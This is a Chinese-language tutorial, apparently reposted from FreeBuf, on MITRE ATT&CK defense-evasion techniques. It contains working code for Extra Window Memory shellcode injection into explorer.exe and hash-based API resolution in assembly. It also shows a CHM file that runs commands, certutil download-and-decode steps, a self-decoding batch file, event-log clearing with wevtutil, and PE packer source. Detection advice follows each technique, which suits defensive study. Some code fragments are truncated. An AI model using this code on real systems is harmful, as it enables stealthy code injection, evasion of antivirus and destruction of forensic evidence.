https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf
14、额外窗口内存注入
原理及代码介绍
在创建窗口之前,基于图形Windows的进程必须注册一个Windows类,该类规定外观和行为。新窗口类的注册可以包括一个请求,请求将多达40个字节的额外窗口内存(EWM)附加到该类的每个实例的分配内存中。该EWM旨在存储特定于该窗口的数据,并具有特定的应用程序编程接口(API)函数来设置和获取其值。
虽然EWM很小,但它的大小足以存储32位指针,并且经常用于指向Windows过程。EWMI依赖注入到资源管理器托盘窗口内存中,并在恶意软件家族Gapz和PowerLoader中使用多次。然而,在EWM中没有太多的空间。为了规避这个限制,恶意软件将代码写入explorer.exe的共享段中,并使用SetWindowLong和SendNotifyMessage得到一个指向shellcode的函数指针,然后执行它。
当写入共享段时,恶意软件有两个选项。它能创建一个共享段自己映射到另一个进程(如explorer)中,或者打开一个已存在的共享段。前者有分配堆内存的开销,而且还要调用NtMapViewOfSection等API,因此后者更常用。在恶意代码将shellcode写入共享段后,使用GetWindowLong和SetWindowLong来访问并修改Shell_TrayWnd的额外的窗口内存。GetWindowLong是用于通过32位值作为偏移得到窗口类对象中额外窗口内存,同时使用SetWindowLong能改变指定偏移的值。通过完成这个,恶意代码能改变窗口类中的函数指针,将它指向共享段的shellcode。
和上述的技术一样,恶意软件需要触发写入的代码。有一些技术是通过调用类似CreateRemoteThread,SetThreadContext,QueueUserAPC这些API来实现的。与其他不同的是,这种技术是通过使用SendNotifyMessage或PostMessage来触发代码执行的。
一旦执行SendNotifyMessage或PostMessage,Shell_TrayWnd将接收到并将控制移交给SetWindowLong设置的地址。
主程序源代码如下:
HANDLE g_hprocess = NULL; unsigned char shellcode[100] = { 0, }; DWORD shellcodeSize = sizeof(shellcode); PVOID mapshellocdeprocess() { HANDLE hSection = NULL; OBJECT_ATTRIBUTES hAttributes; memset( LARGE_INTEGER maxSize; maxSize.HighPart = 0; // 保存壳代码与指针 maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; NTSTATUS status = NULL; if ((status = ZwCreateSection( return NULL; } PVOID sectionBaseAddress = NULL; ULONG viewSize = 0; SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE // 映射 if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), return NULL; } printf("Section BaseAddress: %p\n", sectionBaseAddress); // 切换到映射 PVOID sectionBaseAddress2 = NULL; if ((status = NtMapViewOfSection(hSection, g_hprocess, return NULL; } LPVOID shellcode_remote_ptr = sectionBaseAddress2; LPVOID shellcode_local_ptr = sectionBaseAddress; memcpy(shellcode_local_ptr, shellcode, shellcodeSize); printf("Shellcode copied!\n"); LPVOID handles_remote_ptr = (BYTE*)shellcode_remote_ptr + shellcodeSize; LPVOID handles_local_ptr = (BYTE*)shellcode_local_ptr + shellcodeSize; PVOID buf_va = (BYTE*)handles_remote_ptr; LONG hop1 = (LONG)buf_va + sizeof(LONG); LONG shellc_va = (LONG)shellcode_remote_ptr; memcpy((BYTE*)handles_local_ptr, memcpy((BYTE*)handles_local_ptr + sizeof(LONG), //u nmap from the context of current process ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress); ZwClose(hSection); printf("Section mapped at address: %p\n", sectionBaseAddress2); return shellcode_remote_ptr; } int main() { // 查找Shell_TrayWnd 外壳类,主要是管理 HWND hWnd = FindWindow( L"Shell_TrayWnd", NULL ); if (hWnd == NULL) return -1; DWORD pid = 0; LONG nwlong = 0; nwlong = GetWindowThreadProcessId(hWnd, // 打开Shell_TrayWnd g_hprocess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid ); if (g_hprocess == NULL) return 0; // 映射shellcode LPVOID remoteshellcodeptr = mapshellocdeprocess(); // 设置到额外的窗口内存中 SetWindowLong( hWnd, 0, /*参数三替换值shellcodeptr*/ (LONG)remoteshellcodeptr ); // 调用窗口过程也就是发送执行shellcode SendNotifyMessage(hWnd, WM_PAINT, 0, 0); // 这里先sleep等待执行 Sleep(5000); // 恢复原来得数据 SetWindowLong(hWnd, 0, nwlong); SendNotifyMessage(hWnd, WM_PAINT, 0, 0); CloseHandle(g_hprocess); }
Payload:
LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { if (uMsg != WM_CLOSE) return 0; WinExec_t pWinExec; DWORD szWinExec[2], szNotepad[3]; // WinExec szWinExec[0] = 0x456E6957; szWinExec[1] = 0x00636578; // runs notepad szNotepad[0] = *(DWORD*)"note"; szNotepad[1] = *(DWORD*)"pad\0"; pWinExec = (WinExec_t)puGetProcAddress(szWinExec); if (pWinExec != NULL) { pWinExec((LPSTR)szNotepad, SW_SHOW); } return 0; }
因为需要从OD中复制出来shellcode,放入字符串数组中运行。
所以模块基址的获取和函数的获取需要使用汇编自己获取。
// ===================获取模块基址============================ DWORD puGetModule(const DWORD Hash) { DWORD nDllBase = 0; __asm { jmp start /*函数1:遍历PEB_LDR_DATA链表HASH加密*/ GetModulVA : push ebp; mov ebp, esp; sub esp, 0x20; push edx; push ebx; push edi; push esi; mov ecx, 8; mov eax, 0CCCCCCCCh; lea edi, dword ptr[ebp - 0x20]; rep stos dword ptr es : [edi]; mov esi, dword ptr fs : [0x30]; mov esi, dword ptr[esi + 0x0C]; mov esi, dword ptr[esi + 0x1C]; tag_Modul: mov dword ptr[ebp - 0x8], esi; // 保存LDR_DATA_LIST_ENTRY mov ebx, dword ptr[esi + 0x20]; // DLL的名称指针(应该指向一个字符串) mov eax, dword ptr[ebp + 0x8]; push eax; push ebx; // +0xC call HashModulVA; test eax, eax; jnz _ModulSucess; mov esi, dword ptr[ebp - 0x8]; mov esi, [esi]; // 遍历下一个 LOOP tag_Modul _ModulSucess : mov esi, dword ptr[ebp - 0x8]; mov eax, dword ptr[esi + 0x8]; pop esi; pop edi; pop ebx; pop edx; mov esp, ebp; pop ebp; ret
/*函数2:HASH解密算法(宽字符解密)*/ HashModulVA : push ebp; mov ebp, esp; sub esp, 0x04; mov dword ptr[ebp - 0x04], 0x00 push ebx; push ecx; push edx; push esi; // 获取字符串开始计算 mov esi, [ebp + 0x8]; test esi, esi; jz tag_failuers; xor ecx, ecx; xor eax, eax; tag_loops: mov al, [esi + ecx]; // 获取字节加密 test al, al; // 0则退出 jz tag_ends; mov ebx, [ebp - 0x04]; shl ebx, 0x19; mov edx, [ebp - 0x04]; shr edx, 0x07; or ebx, edx; add ebx, eax; mov[ebp - 0x4], ebx; inc ecx; inc ecx; jmp tag_loops; tag_ends: mov ebx, [ebp + 0x0C]; // 获取HASH mov edx, [ebp - 0x04]; xor eax, eax; cmp ebx, edx; jne tag_failuers; mov eax, 1; jmp tag_funends; tag_failuers: mov eax, 0; tag_funends: pop esi; pop edx; pop ecx; pop ebx; mov esp, ebp; pop ebp; ret 0x08 start: /*主模块*/ pushad; push Hash; call GetModulVA; add esp, 0x4 mov nDllBase, eax; popad; } return nDllBase;
} // ===================获取函数地址============================ DWORD puGetProcAddress(const DWORD dllvalues, const DWORD Hash) { DWORD FunctionAddress = 0; __asm { jmp start // 自定义函数计算Hash且对比返回正确的函数 GetHashFunVA : push ebp; mov ebp, esp; sub esp, 0x30; push edx; push ebx; push esi; push edi; lea edi, dword ptr[ebp - 0x30]; mov ecx, 12; mov eax, 0CCCCCCCCh; rep stos dword ptr es : [edi]; // 以上开辟栈帧操作(Debug版本模式) mov eax, [ebp + 0x8]; // ☆ kernel32.dll(MZ) mov dword ptr[ebp - 0x8], eax; mov ebx, [ebp + 0x0c]; // ☆ GetProcAddress Hash值 mov dword ptr[ebp - 0x0c], ebx; // 获取PE头与RVA及ENT mov edi, [eax + 0x3C]; // e_lfanew lea edi, [edi + eax]; // e_lfanew + MZ = PE mov dword ptr[ebp - 0x10], edi; // ☆ 保存PE(VA) // 获取ENT mov edi, dword ptr[edi + 0x78]; // 获取导出表RVA lea edi, dword ptr[edi + eax]; // 导出表VA mov[ebp - 0x14], edi; // ☆ 保存导出表VA // 获取函数名称数量 mov ebx, [edi + 0x18]; mov dword ptr[ebp - 0x18], ebx; // ☆ 保存函数名称数量 // 获取ENT mov ebx, [edi + 0x20]; // 获取ENT(RVA) lea ebx, [eax + ebx]; // 获取ENT(VA) mov dword ptr[ebp - 0x20], ebx; // ☆ 保存ENT(VA) // 遍历ENT 解密哈希值对比字符串 mov edi, dword ptr[ebp - 0x18]; mov ecx, edi; xor esi, esi; mov edi, dword ptr[ebp - 0x8]; jmp _WHILE; // 外层大循环 _WHILE : mov edx, dword ptr[ebp + 0x0c]; // HASH push edx; mov edx, dword ptr[ebx + esi * 4]; // 获取第一个函数名称的RVA lea edx, [edi + edx]; // 获取一个函数名称的VA地址 push edx; // ENT表中第一个字符串地址 call _STRCMP; cmp eax, 0; jnz _SUCESS; inc esi; LOOP _WHILE; jmp _ProgramEnd; // 对比成功之后获取循环次数(下标)cx保存下标数 _SUCESS : // 获取EOT导出序号表内容 mov ecx, esi; mov ebx, dword ptr[ebp - 0x14]; mov esi, dword ptr[ebx + 0x24]; mov ebx, dword ptr[ebp - 0x8]; lea esi, [esi + ebx]; // 获取EOT的VA xor edx, edx; mov dx, [esi + ecx * 2]; // 注意双字 获取序号 // 获取EAT地址表RVA mov esi, dword ptr[ebp - 0x14]; // Export VA mov esi, [esi + 0x1C]; mov ebx, dword ptr[ebp - 0x8]; lea esi, [esi + ebx]; // 获取EAT的VA mov eax, [esi + edx * 4]; // 返回值eax(GetProcess地址) lea eax, [eax + ebx]; jmp _ProgramEnd;
_ProgramEnd: pop edi; pop esi; pop ebx; pop edx; mov esp, ebp; pop ebp; ret 0x8; // 循环对比HASH值 _STRCMP: push ebp; mov ebp, esp; sub esp, 0x04; mov dword ptr[ebp - 0x04], 0x00; push ebx; push ecx; push edx; push esi; // 获取字符串开始计算 mov esi, [ebp + 0x8]; xor ecx, ecx; xor eax, eax; tag_loop: mov al, [esi + ecx]; // 获取字节加密 test al, al; // 0则退出 jz tag_end; mov ebx, [ebp - 0x04]; shl ebx, 0x19; mov edx, [ebp - 0x04]; shr edx, 0x07; or ebx, edx; add ebx, eax; mov[ebp - 0x4], ebx; inc ecx; jmp tag_loop; tag_end : mov ebx, [ebp + 0x0C]; // 获取HASH mov edx, [ebp - 0x04]; xor eax, eax; cmp ebx, edx; jne tag_failuer; mov eax, 1; jmp tag_funend; tag_failuer: mov eax, 0; tag_funend: pop esi; pop edx; pop ecx; pop ebx; mov esp, ebp; pop ebp; ret 0x08 start: pushad; push Hash; // Hash加密的函数名称 push dllvalues; // 模块基址.dll call GetHashFunVA; // GetProcess mov FunctionAddress, eax; // ☆ 保存地址 popad; } return FunctionAddress; }
运行效果图
当主程序执行时,记事本就会运行,并通过进程树发现,记事本作为explorer.exe的子进程在运行。
检查及限制方案
监视操作EWM(如GetWindowLong和SetWindowLong)相关的API调用。
参考链接
https://attack.mitre.org/techniques/T1181/
15、修改文件权限
原理及代码介绍
文件和目录权限通常由文件或目录所有者指定的自主访问控制列表(DACL)管理。自主访问控制列表(DACL)是一个最普遍类型的访问控制列表(ACL)。在一个DACL(Discretionary Access Control List)中,指出了允许和拒绝某用户或用户组的存取控制列表。当一个进程需要访问安全对象时,系统就会检查DACL来决定进程的访问权。如果一个对象没有DACL,则说明任何人对这个对象都可以拥有完全的访问权限。
用户可以使用attrib.exe二进制文件修改特定文件的属性。简单地命令attrib +h filename,就是隐藏文件。
攻击者可以通过修改文件或目录的权限和属性以攻破DACL的设置。著名的WannaCry 就使用了attrib +h和icacls . /grant Everyone:F /T /C /Q 隐藏其某些文件并授予所有用户完全访问控制权限
对ICacls详细参数可参考:
[ICacls] https://baike.baidu.com/item/Icacls/2169532?fr=aladdin
对attrib详细参数可参考:
[attrib] https://jingyan.baidu.com/article/2c8c281d7f7f610008252af8.html
从这些功能上看,通过修改文件属性和权限,可以针对绕过文件监视,文件系统访问控制。
运行效果图
ICacls查看目录和文件的权限
隐藏文件
检查及限制方案
1.监视和调查修改DACL和文件/目录所有权的操作,例如icacls的使用。
2.考虑对二进制或配置文件的目录权限更改进行审核。
3.修改DACL时使用Windows安全日志记录事件。
参考链接
https://attack.mitre.org/techniques/T1222/
https://baike.baidu.com/item/Icacls/2169532?fr=aladdin
https://jingyan.baidu.com/article/2c8c281d7f7f610008252af8.html
16、CHM文件隐藏代码执行
原理及代码介绍
CHM文件是一种“已编译的HTML文件”,是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。而该类型的文件是可以用Windows自带的hh.exe文件来打开的。CHM文件可以包含各种文件,如HTML文件,图像以及与脚本相关的编程语言。攻击者可能会滥用此技术来隐藏恶意代码,传输包含代码的自定义CHM文件。并且可以绕过一些未升级的系统上的应用程序白名单。Silence组织就曾使用恶意CHM文档攻击俄罗斯银行。
编写CHM文件需要准备一个HTML文件,如下:
!DOCTYPE html> html> head> meta charset="UTF-8"> title>title/title> script type="text/javascript"> var objShell var objShell= new ActiveXObject("WScript.Shell") var iReturnCode=objShell.Run("calc.exe",0,true) /script> /head> body> /body> /html>
了解HTML文件格式可以访问:HTML文件格式
众所周知,HTML文件不能执行cmd命令,编译成CHM文件就可以完美执行。
CHM文件的制作工具比较多,本次介绍一款工具 easy chm,可以去官网下载。
打开easy chm后点击新建
将HTML文件单独放在一个文件夹中,浏览的路径是一个文件夹路径
确定之后,点击编译即可
运行效果图
双击运行生成的CHM文件,弹出计算器
检查及限制方案
1.监视和分析hh.exe的执行和参数。将最近对hh.exe的调用与已知的参数的历史进行比较,以确定异常和潜在的对抗性活动。
2. 监视CHM文件的存在和使用。
参考链接
https://attack.mitre.org/techniques/T1223/
https://baike.baidu.com/item/HTML文件/7176861?fr=aladdin
http://www.etextwizard.com/easychm.html
17、本机程序编译代码执行
原理及代码介绍
当进行数据的传输时,Windows可能会对可执行文件进行分析和检查。如果将文件作为未编译代码传递,这些代码的行为就会难以被发现和分析。当然这些代码需要编译后执行,通常是通过本机的实用工具(如csc.exe)进行编译。
csc.exe是微软.NET Framework 中的C#语言编译器,在环境变量里加入csc.exe的路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319(注意,路径和版本号会因为你的安装和下载的不同而不同,自己到安装目录下看看)。
用记事本编写源代码:
using System; using System.Windows.Forms; class TestApp { public static void Main() { MessageBox.Show("Hello!"); } }
保存为.cs文件,在cmd命令行中执行命令:csc /reference:System.Windows.Forms.dll TestApp.cs
即可编译成TestApp.exe。
关于csc.exe详细命令参数可参考:csc.exe命令
MinGW(Minimalist GNU For Windows)是个精简的Windows平台C/C++、ADA及Fortran编译器。下载地址。
安装完成之后,配置环境变量,可以编译.c文件。
命令:gcc test.c -o test
这种技术可以绕过基于签名的检测,白名单等。
运行效果图
cse.exe
编译完成并生成exe文件。
MinGW:
命令行编译完成,生成exe文件
检查及限制方案
1. 监视常用编译器(如csc.exe)的执行文件路径和命令行参数,并与其他可疑行为相关联。
2. 寻找非本地二进制格式和跨平台编译器和执行框架,如Mono,并确定它们在系统上是否有合法的用途。
参考链接
https://attack.mitre.org/techniques/T1500/
https://baike.baidu.com/item/csc.exe/9323691?fr=aladdin
18、间接命令执行
原理及代码介绍
在Windows系统中可以使用各种Windows实用程序来执行命令,而不需要调用CMD。攻击者可能会滥用这些特征来绕过一些防御机制,如应用程序白名单等。
使用 Forfiles 可以通过不直接调用CMD,来隐藏命令执行。
Forfiles是一款windows平台的软件工具,其中选择文件并运行一个命令来操作文件。文件选择标准包括名称和上次修改日期。命令说明符支持一些特殊的语法选项。它可以直接在命令行中使用,也可以在批处理文件或其他脚本中使用。forfiles命令最初作为加载项提供在Windows NT 资源工具包中。它成为Windows Vista的标准实用程序,作为新管理功能的一部分。
具体Forfiles使用参数参考:
[Forfiles] https://jingyan.baidu.com/article/495ba8419d37ff38b20ede48.html
运行效果图
运行Forfiles
检查及限制方案
监视和分析来自基于主机的检测机制(如Sysmon)的日志,查看包含或由调用程序,命令,文件,生成子进程,网络连接相关的参数的进程创建等事件。
参考链接
https://attack.mitre.org/techniques/T1202/
https://jingyan.baidu.com/article/495ba8419d37ff38b20ede48.html
19、解码文件并执行
原理及代码介绍
攻击者可以混淆文件或信息,从而无法分析恶意代码的行为和信息。混淆的方法有很多,比如最简单的异或和其它的加密算法。下面介绍一种恶意软件使用过的方法。
Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书,使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。
攻击者可以利用certutil.exe把二进制文件(包括各种文件)经过base64编码为文本,这样可以将可执行文件隐藏在文件中,使恶意代码样本看起来像是无害的文本文件。
先将程序编码为文本:
certutil -encode hello.exe hello.txt
下载文件到本地
certutil -urlcache -split -f [URL] hello.txt
将文本解码为程序
certutil -decode hello.txt hello.exe
也可以将程序编码为批处理文件(bat),在文件头部添加几行批处理代码
@echo off` `certutil -decode "%~f0" hello.exe` `start hello.exe` `exit /b 1
像这种编码混淆文件的方法可以绕过基于签名的检测,网络入侵检测等,较多的恶意代码样本使用了此技术。
运行效果图
执行完encode后生成的txt文件和bat文件内容
执行decode解码为exe文件,或直接执行bat脚本文件,代码顺利执行
检查及限制方案
执行进程和命令行监视,以检测与脚本和系统实用程序相关的潜在恶意行为。
参考链接
https://attack.mitre.org/techniques/T1140/
20、入侵痕迹清除
原理及代码介绍
在分析恶意代码的时候,大家通常都会看到很多删除文件的操作。通过删除文件,攻击者可以清除入侵过程中的痕迹,防止留下证据被防御者找到。删除文件的方法有很多,大多数是用一些库函数,API,system命令等等。具体代码如下:
int main() { string dirName = "D:\\test"; bool flag = RemoveDirectory(dirName.c_str());` return 0; } int main() { string path = "c:\\test.chm"; rmdir(path.c_str()); return 0; } int main() { string command; command = "rd /s /q c:\\test "; system(command.c_str()); } int main() { string command; command = "del /F /Q C:\test.txt "; system(command.c_str()); }
不过大家都知道,在Windows下删除文件其实不是真的删除, 只是把那个文件的某个属性从0标识成1,你看不见而已。这也是为什么被删除的数据,可以恢复的道理。 所以也有很多恶意代码使用删除文件工具,进行安全删除。如SDelete,它安全地删除没有任何特殊属性的文件相对而言简单而直接:安全删除程序使用安全删除模式简单地覆盖文件。较为复杂的是安全地删除 Windows NT/2K 压缩、加密和稀疏文件,以及安全地清理磁盘可用空间。 感兴趣的可以参考:
除了删除文件,一般还会清除日志Windows事件日志。Windows事件日志是计算机警报和通知的记录。Microsoft将事件定义为“系统或程序中需要通知用户或添加到日志中的任何重要事件”。事件有三个系统定义的来源:系统、应用程序和安全。执行与帐户管理、帐户登录和目录服务访问等相关的操作的对手可以选择清除事件以隐藏其活动。
程序命令执行清除事件日志:
wevtutil cl system wevtutil cl application wevtutil cl security
运行效果图
运行SDelete如图所示
清除系统日志
检查及限制方案
1.在环境中检测与命令行函数(如 DEL,第三方实用程序或工具 )相关的不常见的事件。
2.监视执行删除功能可能会导致的恶意活动。
3.监视已知的删除工具和安全删除工具 。
4.使用文件系统监视文件的不当删除或修改。例如,删除Windows事件日志。
参考链接
https://attack.mitre.org/techniques/T1107/
https://attack.mitre.org/techniques/T1070/
https://docs.microsoft.com/zh-cn/sysinternals/downloads/sdelete
21、文件加壳
原理及代码介绍
软件打包指的是对可执行文件进行压缩或加密。打包可执行文件会更改文件签名,以避免基于签名的检测。通常我们称软件打包为加壳。
当一个程序生成好后,很轻松的就可以利用诸如资源工具和反汇编工具对它进行修改,但如果程序员给程序加一个壳的话,那么至少这个加了壳的程序就不是那么好修改了,如果想修改就必须先脱壳。而且壳的解压缩是在内存中进行的,能检测到的杀毒软件就很少。大部分的程序是因为防止反跟踪,防止程序被人跟踪调试,防止算法程序不想被别人静态分析。加密代码和数据,保护你的程序数据的完整性。不被修改或者窥视你程序的内幕。
现在有很多加壳器,例如MPress和UPX。也可以写一个自己的加壳器。针对PE文件写加壳器需要对PE文件的格式和各种结构有充分的了解。
下面是加壳器的主要代码
//增加区段 void CPackPE::AddSection1(char* // 1.2 配置新区段的区段头 IMAGE_SECTION_HEADER* pNewScn = NULL; pNewScn = GetLastSection(pFileBuff); PIMAGE_SECTION_HEADER pLastSection = pNewScn - 1; // 1.2.1 区段的名字 memcpy(pNewScn->Name, scnName, 8); // 1.2.2 区段的大小(实际大小/对齐后大小) pNewScn->Misc.VirtualSize = scnSize; pNewScn->SizeOfRawData = aligment(scnSize, GetOptionHeader(pFileBuff)->FileAlignment); // 新区段的内存偏移 = 上一个区段的内存偏移+上一个区段的大小(内存粒度对齐后的大小) pNewScn->VirtualAddress = pLastSection->VirtualAddress + aligment(pLastSection->Misc.VirtualSize, GetOptionHeader(pFileBuff)->SectionAlignment); // 设置文件偏移和文件大小 while (TRUE) { if (pLastSection->PointerToRawData) { // 找到前一个非0的区段 pNewScn->PointerToRawData = pLastSection->PointerToRawData + pLastSection->SizeOfRawData; break; } pLastSection = pLastSection - 1; } // 1.2.4 区段的属性(0xE00000E0) pNewScn->Characteristics = 0xE00000E0; // 2. 修改扩展头的映像大小 GetOptionHeader(pFileBuff)->SizeOfImage = pNewScn->VirtualAddress + pNewScn->Misc.VirtualSize; // 3. 扩充文件数据的堆空间大小 int newSize = pNewScn->PointerToRawData + pNewScn->SizeOfRawData; char* pNewBuff = new char[newSize]; memcpy(pNewBuff, pFileBuff, fileSize); // 释放旧的缓冲区 delete[] pFileBuff; // 将新的缓冲区首地址和新的文件大小赋值给形参(修改实参) fileSize = newSize; pFileBuff = pNewBuff; }
这里是部分壳代码
//修复IAT void DealwithIAT() { // 1.获取第一项iat项 // 1.获取加载基址 // 2.获取导入表的信息 g_dwImageBase = (DWORD)MyGetModuleHandleW(NULL); PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(g_dwImageBase + g_conf.ImportTableRva); // 3.解析导入表信息 HMODULE hMoudle; PDWORD TableIAT = NULL; DWORD ThunkRVA; while (pImport->Name) { //获取dll基址 hMoudle = MyLoadLibraryA((char*)(pImport->Name + g_dwImageBase)); // 是否是有效的IAT if (pImport->FirstThunk == 0) { ++pImport; continue; } TableIAT = (PDWORD)(pImport->FirstThunk + g_dwImageBase); if (pImport->OriginalFirstThunk == 0) { ThunkRVA = pImport->FirstThunk; } else { ThunkRVA = pImport->OriginalFirstThunk; } PIMAGE_THUNK_DATA lpThunkData = (PIMAGE_THUNK_DATA)(g_dwImageBase + ThunkRVA); DWORD dwFunName; while (lpThunkData->u1.Ordinal != 0) { // 名称导出 if ((lpThunkData->u1.Ordinal dwFunName = (DWORD) } else { dwFunName = lpThunkData->u1.Ordinal } DWORD dwFunAddr = (DWORD)MyGetProcAddress(hMoudle, (char*)dwFunName); DWORD dwOldProtect = 0; MyVirtualProtect(TableIAT, 4, PAGE_EXECUTE_READWRITE, dwFunAddr = EncryptFun(dwFunAddr); *(TableIAT) = dwFunAddr; MyVirtualProtect(TableIAT, 4, dwOldProtect, ++TableIAT; ++lpThunkData; } ++pImport; } }
//修复目标PE的重定位表 void FixPEReloc() { // 获取当前进程的加载基址 DWORD dwImageBase = (DWORD)MyGetModuleHandleW(NULL); // 1. 修复目标PEg_dwImageBase PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)(g_conf.stcReloc.VirtualAddress + dwImageBase);//g_dwImageBase while (pReloc->SizeOfBlock) { PWORD pOffsetType = (PWORD)((DWORD)pReloc + sizeof(IMAGE_BASE_RELOCATION)); DWORD dwCount = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); // 修改内存属性 DWORD dwOldProtect = 0; MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, PAGE_EXECUTE_READWRITE, // 循环检查重定位项 for (DWORD i = 0; i dwCount; ++i) { WORD dwOffset = *pOffsetType WORD dwType = *pOffsetType >> 12; // 去除无效的重定位项 if (!*pOffsetType) continue; if (dwType == 3) { // 获取此重定位项指向的指针 DWORD dwPointToRVA = dwOffset + pReloc->VirtualAddress; PDWORD pdwPtr = (PDWORD)(dwPointToRVA + dwImageBase); // 计算增量值 DWORD dwIncrement = dwImageBase - g_conf.dwDefaultImageBase; DWORD OldProtect = 0; MyVirtualProtect((PBYTE)(pdwPtr), 0x4, PAGE_EXECUTE_READWRITE, // 修改重定位项 *((PDWORD)pdwPtr) += dwIncrement; MyVirtualProtect((PBYTE)(pdwPtr), 0x4, OldProtect, } // 下一轮循环 ++pOffsetType; } // 恢复内存访问属性 MyVirtualProtect((PBYTE)dwImageBase + pReloc->VirtualAddress, pReloc->SizeOfBlock, dwOldProtect, // 下一个重定位块 pReloc = (PIMAGE_BASE_RELOCATION)((DWORD)pReloc + pReloc->SizeOfBlock); } }
通过加壳,修改了文件的大小,签名等信息,可以绕过基于特征的检测,防止被静态分析,是恶意代码常用的伎俩。
运行效果图
目标程序被加壳后,发现PE文件多了一个区段,这里面就是壳程序
检查及限制方案
使用文件扫描来查找已知的软件包装器或包装技术的工件。
参考链接
https://attack.mitre.org/techniques/T1045/
三、结语
防御逃逸所拥有的技术是MITRE ATT&CK框架所述战术中最多的,详细介绍了防御逃逸技术的不同方向以及相同方向上的不同手段。通过上文的介绍,大家可以看到达到相同的目的可以用到不同的技术手段。当然随着防御者根据这些策略的更新,攻击者也在寻找更隐蔽的方法来绕过安全工具的检测和防御。这就要求防御者能够与时俱进,紧跟技术发展的脚步。本文到此就结束了,希望大家都能有所收获!
*本文作者:alphalab,转载请注明来自FreeBuf.COM
转载请注明来自网盾网络安全培训,本文标题:《ATT&CK之防御逃逸》
- 关于我们